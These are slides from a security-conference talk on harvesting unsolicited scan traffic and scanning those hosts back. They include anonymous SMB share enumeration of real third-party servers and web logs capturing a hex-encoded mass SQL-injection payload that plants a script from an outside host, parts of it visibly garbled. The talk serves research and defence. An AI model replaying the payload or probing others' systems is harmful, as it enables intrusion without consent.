Waste Not, Want Not
Finding New Targets While You're At The Pub
Me

- vt
- I work at Security-Assessment.com
- Enjoy making things do stuff it wasn't intended for
- Fan of whisky, bacon and whiskey

This talk

- Is not about owning things
- Is about discovering and investigating targets
- Is about making the most out of other people's junk
There's a lot of background noise on the Internet
- pipes actively scanning you
- Incorrectly configured computers
- Hundreds of thousands of owned boxes

If this is the third instance
- Compromised hosts scan the internet finding vulnerable boxes
- Try add your computer to their collective host of minions
- Continue scanning 24/7 trying to find the next host
Why Not Listen?

- I wanted to know WHO was taking an interest in me..
  - Who is scanning me? Why?

- Started iptables logging
  - Source IP
  - Destination port
  - Timestamp

- Incoming noisy traffic can be analysed for various purposes
  - Making pretty graphs, for one
Spot the DoSes..
SLIDE DELETED – general notes: a few hosts scanned about ~4000 different ports, but the majority of them only scanned one or two ports.
Taking it further

- Not satisfied with my results
  - I need more information, I need more details!

- Determine Geographic Location
  - GeoIP

- OS of Remote Host
  - p0f – Ascertain OS passively

- Increase Sample Range
  - Now armed with a /28 for my listening pleasure
Average packets to all 17 IPs over ~4 months
Top 10 countries with active hosts

- Canada
- China
- NZ
- USA
- Korea
- Japan
- Taiwan
- India
- Germany
- Brazil
Top 4 OSes (no unknown)

- **Win2k/XP**: 1700
- **Linux 2.4-2.6**: 200
- **Linux 2.6**: 100
- **Linux 2.4**
Graphs are great

- But there's so much more we can do with this data..

- After months of listening I had collected data from over **50,000** hosts
  - These hosts have thrown the first (blind) punch
  - They are probably not well tended if they're doing so
  - Incorrectly/insecurely configured or already compromised
  - I decided to scan them back (and log that too!)
Reinforcements

- Information Gathering Tactics Deployed:
  - Reverse DNS lookups
  - WHOIS queries
  - Nmap
  - Amap
  - Tor
  - cURL

- A powerful combination for identifying hosts and services
- Rules of Engagement:
  - Only scan back on the ports they scanned you on
  - Use decoys
  - Record state and if possible version of the target
  - Don't bother with dynamic IPs

- Patience Is A Virtue:
  - Use purely reactive scanning to find numerous targets without adding more to the noise
• Some strange people have knocked on my door..
  • Governments (Indian, Brazilian, Chinese, Ukrainian and Australian to name a few)
  • Many Universities
  • Several financial institutions
  • Corporate mail and web servers
  • Too many dialup/dsl customers

• Many of them were listening, too..
  • Scanning back produced good results!
PHPMyAdmin interfaces

localhost

- Server version: 5.0.51b-community-nt-log
- Protocol version: 10
- Server: localhost via TCP/IP
- User: postgres@localhost
- MySQL charset: UTF-8 Unicode (utf8)
- MySQL connection collation: utf8_unicode_ci

- Create new database:  
  - No Privileges
- SHOW MySQL runtime information
- SHOW MySQL system variables
- Processes
- Character Sets and Collations
- Storage Engines
- Databases
- Export
- Import
- Log out

phpMyAdmin - 2.10.3

- MySQL client version: 5.0.51a
- Used PHP extensions: mysql
- Language: English
  - Go
- Theme/Style: Original
  - Go
- Font size:
Russian Post Office servers

vt@vice:$
vt@vice:$
vt@vice:$  torify smbclient -N -L 85.254
Anonymous login successful

<table>
<thead>
<tr>
<th>Sharename</th>
<th>Type</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>INST</td>
<td>Disk</td>
<td></td>
</tr>
<tr>
<td>IPC$</td>
<td>IPC</td>
<td>Удаленный IPC</td>
</tr>
<tr>
<td>D$</td>
<td>Disk</td>
<td>Стандартный общий ресурс</td>
</tr>
<tr>
<td>print$</td>
<td>Disk</td>
<td>Драйверы принтеров</td>
</tr>
<tr>
<td>ML-1200</td>
<td>Printer</td>
<td>Samsung ML-1210/ML-1220M</td>
</tr>
<tr>
<td>WinPost</td>
<td>Disk</td>
<td></td>
</tr>
<tr>
<td>AZM_SDO</td>
<td>Disk</td>
<td></td>
</tr>
<tr>
<td>SamsungM</td>
<td>Printer</td>
<td>Samsung ML-1200 Series (Копия 2)</td>
</tr>
<tr>
<td>_NEW_COPY_WINPOST</td>
<td>Disk</td>
<td></td>
</tr>
<tr>
<td>szgd1</td>
<td>Disk</td>
<td></td>
</tr>
<tr>
<td>ADMIN$</td>
<td>Disk</td>
<td>Удаленный Admin</td>
</tr>
<tr>
<td>VPLOGON</td>
<td>Disk</td>
<td>Symantec AntiVirus</td>
</tr>
<tr>
<td>C$</td>
<td>Disk</td>
<td>Стандартный общий ресурс</td>
</tr>
<tr>
<td>VPHOME</td>
<td>Disk</td>
<td>Symantec AntiVirus</td>
</tr>
</tbody>
</table>

session request to 85.254 failed (Called name not present)
session request to 85 failed (Called name not present)
Anonymous login successful

<table>
<thead>
<tr>
<th>Server</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>SERVER140</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Workgroup</th>
<th>Master</th>
</tr>
</thead>
</table>

vt@vice:$
Anonymous login successful

<table>
<thead>
<tr>
<th>Sharename</th>
<th>Type</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>cli_rpc_pipe_open: cli_nt_create failed on pipe \srvsvc to machine 20067</td>
<td>----</td>
<td>--------</td>
</tr>
</tbody>
</table>
| Error was NT_STATUS_ACCESS_DENIED
| session request to 20067 failed (Called name not present) session request to 203 failed (Called name not present) | | |

Anonymous login successful

<table>
<thead>
<tr>
<th>Server</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>APPL</td>
<td>--------</td>
</tr>
<tr>
<td>BMSC-JAMESCHIN</td>
<td></td>
</tr>
<tr>
<td>BMSG-BMSC1</td>
<td></td>
</tr>
<tr>
<td>BMSG-VINKHOO</td>
<td></td>
</tr>
<tr>
<td>BMSG01</td>
<td></td>
</tr>
<tr>
<td>T103</td>
<td></td>
</tr>
<tr>
<td>T106</td>
<td></td>
</tr>
<tr>
<td>T111</td>
<td>T111</td>
</tr>
<tr>
<td>T112</td>
<td>T112</td>
</tr>
<tr>
<td>T114</td>
<td></td>
</tr>
<tr>
<td>T118</td>
<td>T118</td>
</tr>
<tr>
<td>T119</td>
<td>T119</td>
</tr>
<tr>
<td>T131</td>
<td></td>
</tr>
<tr>
<td>T132</td>
<td></td>
</tr>
<tr>
<td>T133</td>
<td></td>
</tr>
<tr>
<td>T138</td>
<td>T138</td>
</tr>
<tr>
<td>T151</td>
<td></td>
</tr>
<tr>
<td>T152</td>
<td></td>
</tr>
<tr>
<td>T153</td>
<td>T153</td>
</tr>
<tr>
<td>T154</td>
<td>T154</td>
</tr>
<tr>
<td>T155</td>
<td></td>
</tr>
<tr>
<td>T156</td>
<td>T156</td>
</tr>
<tr>
<td>T157</td>
<td></td>
</tr>
<tr>
<td>T158</td>
<td></td>
</tr>
</tbody>
</table>
Top 10 open ports

- Port 22: 650
- Port 1433: 300
- Port 80: 200
- Port 135: 150
- Port 139: 100
- Port 445: 50
- Port 4899: 40
- Port 8080: 30
- Port 23: 20
- Port 63603: 10
Web server versions

- MS IIS/6.0: 21.88%
- MS IIS/5.0: 8.59%
- Apache/2.2.3: 7.81%
- Apache/2.2.8: 6.25%
- Apache/2.0.52: 4.69%
- Apache/1.xOther: 13.28%
- Other: 29.69%
Debian OpenSSH Servers

- Not vulnerable: 66.29%
- Vulnerable: 33.71%
Room for Improvement

- Pcap instead of iptables logging
  - Much more detailed information about the scans
  - Psad ([http://www.cipherdyne.org/psad/](http://www.cipherdyne.org/psad/))

- Using non-filtered IP space

- Have several machines harvesting

- Use some of the Honeynet stuff

- Log monitoring
  - HTTP/SMTP etc
2B275D3D2727223E3C2F7469746C653E3C7363726970420737263D2268747403A2F2F777777332E7373313
1716E2E636E2F6373723732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D2077
686572652072B04032B2720666F74206C696B6520272725223E3C2F7469746C653E3C73637269707420737263
3D2268747403A2F2F777777332E73733131716E2E636E2F6373723732F772E6A73223E3C2F7363726970743E
3E3C212D2D272727945545448204E4558542046524F4D20205461626C655F437572736F7220494E544F20
0542C404320454E4240434C4F5345205461626C655F437572736F72204445414C4F4341545205461626C65
5F437572736F72%20AS%20CHAR(400));EXEC(@S); HTTP/1.1 200 341 "-" "Mozilla/4.0 (compatible;
ME; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 1.7)"

218.79.54.168 - - [21/Sep/2008:19:41:38 +1200] "GET //?DECLARE%20@$%20CHAR(400); SET%20@$
=CAST(0x4445434C41524520405420766172636861722832353292C4043207661726368617228343030292
04445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D
652C6226E6616D52066726F6D2073797366626A5637230612C7379736366F6C756DE7320622077686552
520612E69643D6226E696420612E6420612E78747970653D277520612E64208622E78747970653D3939206F
7220622E78747970653D3939206F7220622E78747970653D3939206F7220622E78747970653D3939206F
5F0454E205461626C655F437572736F7220464544348204E4558542046524F4D20205461626C655F43757273
6F7220494E544F4204542C4043205478494C452840404645543485F534415455353D0292042454749E206
5786563282775706417465205B272B40432B275D20736574205B272B40432B275D20737223E3C2F7469746C
5E3E3C73637269704207372633D2268747403A2F2F777777332E73733131716E2E636E2F6373723732F72
E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F
74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D2268747403A2F2F77777733
2E73733131716E2E636E2F6373727372F772E6A73223E3C2F7363726970743E3C212D2D272729465454348
204E4558542046524F4D20205461626C655F437572736F7220494E544F4204542C404320454E420432C4F543
5205461626C655F437572736F72204445414C4F4341545205461626C655F437572736F72%20AS%20CHAR(4
000));EXEC(@S); HTTP/1.1 200 341 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; QQDownload 1.7)"

218.79.54.168 - - [21/Sep/2008:19:42:27 +1200] "GET /rss20.xml HTTP/1.1" 200 132326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16"

218.79.54.168 - - [21/Sep/2008:19:46:30 +1200] "GET /rss20.xml HTTP/1.1" 200 132326 "-" "Mozilla/4.0 (compatible;"
Mail logs

Sep 20 23:46:31 elysia postfix/smtpd[18039] NOQUEUE: reject: RCPT from 123-204-105-84.adsl.dynamic.seed.net.tw[123.204.105.84]: 554 5.7.1 <ericoom@gmail.com>: Relay access denied; from=<proxy@gmail.com> to=<ericoom@gmail.com> proto=SMTP helo=<203.109.158.70>

Sep 20 23:46:31 elysia postfix/smtpd[18039]: lost connection after RCPT from 123-204-105-84.adsl.dynamic.seed.net.tw[123.204.105.84]

Sep 20 23:46:31 elysia postfix/smtpd[18039]: disconnect from 123-204-105-84.adsl.dynamic.seed.net.tw[123.204.105.84]

Sep 20 23:49:51 elysia postfix/anvil[18041]: statistics: max connection rate 1/60s for (smtp:123.204.105.84) at Sep 20 23:46:30

Sep 20 23:49:51 elysia postfix/anvil[18041]: statistics: max connection count 1 for (smtp:123.204.105.84) at Sep 20 23:46:30


Sep 21 01:23:35 elysia postfix/smtpd[18757]: connect from 118-161-50-72.dynamic.hinet.net[118.161.50.72]

Sep 21 01:23:39 elysia postfix/smtpd[18757] NOQUEUE: reject: RCPT from 118-161-50-72.dynamic.hinet.net[118.161.50.72]: 554 5.7.1 <vjd39hww@yahoo.com.tw>: Relay access denied; from=<ttc585ttc585@yahoo.com.tw> to=<vjd39hww@yahoo.com.tw> proto=SMTP helo=<203.109.158.70>

Sep 21 01:23:39 elysia postfix/smtpd[18757]: lost connection after RCPT from 118-161-50-72.dynamic.hinet.net[118.161.50.72]

Sep 21 01:23:39 elysia postfix/smtpd[18757]: disconnect from 118-161-50-72.dynamic.hinet.net[118.161.50.72]
• You don't need to make lots of noise to find lots of targets
• There is a LOT of unsolicited traffic on the internet
• Hosts can (and will) tell you a lot about themselves for free
• Secure your stuff!

• Source code is available here: http://atta.cked.me/kiwicon
  • (nasty Perl, you have been warned)
Thanks

- Krusher, pipes, oddy, Eon, bls, Delphic, ddz and hntr
- The kiwiCON crüe
- Det, scabaret, Recluse and qoke
- All of you for showing up and making kiwiCON the best CON!
- I'll see you all at the pub!
http://www.security-assessment.com
nick.freeman@security-assessment.com
vt@ha.cked.me